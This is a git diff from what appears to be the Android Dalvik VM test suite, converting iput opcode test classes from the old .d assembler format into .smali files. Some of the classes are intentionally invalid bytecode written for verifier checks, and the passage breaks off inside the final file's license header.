diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.d
deleted file mode 100644
index e0b35ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_17.java
-.class public dot.junit.opcodes.iput.d.T_iput_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_17.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali
new file mode 100644
index 0000000..f663a7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_17.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_17;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.d
deleted file mode 100644
index 1ec565d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_18.java
-.class public dot.junit.opcodes.iput.d.T_iput_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali
new file mode 100644
index 0000000..5d37c96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_18.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       iput v1, v2, Ldot/junit/opcodes/iput/d/T_iput_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.d
deleted file mode 100644
index f7f8997..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_19.java
-.class public dot.junit.opcodes.iput.d.T_iput_19
-.super java/lang/Object
-
-.field public  st_f1 F
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 3.14
-       iput v1, v2, dot.junit.opcodes.iput.d.T_iput_19.st_f1 F
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.smali
new file mode 100644
index 0000000..ab25a75
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput/d/T_iput_19;
+.super Ljava/lang/Object;
+.source "T_iput_19.java"
+
+
+# instance fields
+.field public st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    iput v1, p0, Ldot/junit/opcodes/iput/d/T_iput_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.d
deleted file mode 100644
index a89c29d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_2.java
-.class public dot.junit.opcodes.iput.d.T_iput_2
-.super java/lang/Object
-
-.field public  st_d1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const-wide v1, 1000000.000000
-       iput v1, v3, dot.junit.opcodes.iput.d.T_iput_2.st_d1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali
new file mode 100644
index 0000000..0cc4943
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_2.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_2;
+.super  Ljava/lang/Object;
+
+.field public  st_d1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const-wide v1, 1000000.000000
+       iput v1, v3, Ldot/junit/opcodes/iput/d/T_iput_2;->st_d1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.d
deleted file mode 100644
index 0161449..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_20.java
-.class public dot.junit.opcodes.iput.d.T_iput_20
-.super java/lang/Object
-
-.field public  st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 0
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.smali
new file mode 100644
index 0000000..cd9b3d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput/d/T_iput_20;
+.super Ljava/lang/Object;
+.source "T_iput_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const v0, 0x0
+
+    iput v0, p0, Ldot/junit/opcodes/iput/d/T_iput_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.d
deleted file mode 100644
index f189066..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_21.java
-.class public dot.junit.opcodes.iput.d.T_iput_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1234    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali
new file mode 100644
index 0000000..9fc0af6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_21.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_21.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1234    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.d
deleted file mode 100644
index 71b8cdf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_22.java
-.class public dot.junit.opcodes.iput.d.T_iput_22
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_22.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali
new file mode 100644
index 0000000..9e9f9c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_22.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_22.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_22;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_22;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.d
deleted file mode 100644
index e0bf2a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_23.java
-.class public dot.junit.opcodes.iput.d.T_iput_23
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali
new file mode 100644
index 0000000..dc6e447
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_23.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_23.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.d
deleted file mode 100644
index 4e6d187..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_24.java
-.class public dot.junit.opcodes.iput.d.T_iput_24
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v0, 1    
-       iput v0, v3, dot.junit.opcodes.iput.d.T_iput_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali
new file mode 100644
index 0000000..c8499d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_24.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_24.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_24;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput v0, v3, Ldot/junit/opcodes/iput/d/T_iput_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.d
deleted file mode 100644
index bdb6b35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_3.java
-.class public dot.junit.opcodes.iput.d.T_iput_3
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1234
-       iput v0, v2, dot.junit.opcodes.iput.d.T_iput_3.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali
new file mode 100644
index 0000000..0c3fc77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_3.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1234
+       iput v0, v2, Ldot/junit/opcodes/iput/d/T_iput_3;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.d
deleted file mode 100644
index 08df316..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_30.java
-.class public dot.junit.opcodes.iput.d.T_iput_30
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput/d/T_iput_30
-    const v1, 0
-    iput v1, v0, dot.junit.opcodes.iput.d.T_iput_30.st_i1 I
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali
new file mode 100644
index 0000000..ac28294
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_30.java"
+.class  public Ldot/junit/opcodes/iput/d/T_iput_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput/d/T_iput_30;
+    const v1, 0
+    iput v1, v0, Ldot/junit/opcodes/iput/d/T_iput_30;->st_i1:I
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.d
deleted file mode 100644
index dd8b4f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_31.java
-.class public dot.junit.opcodes.iput.d.T_iput_31
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput v1, v0, dot.junit.opcodes.iput.d.T_iput_31.st_i1 I
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali
new file mode 100644
index 0000000..de64af8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput/d/T_iput_31.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
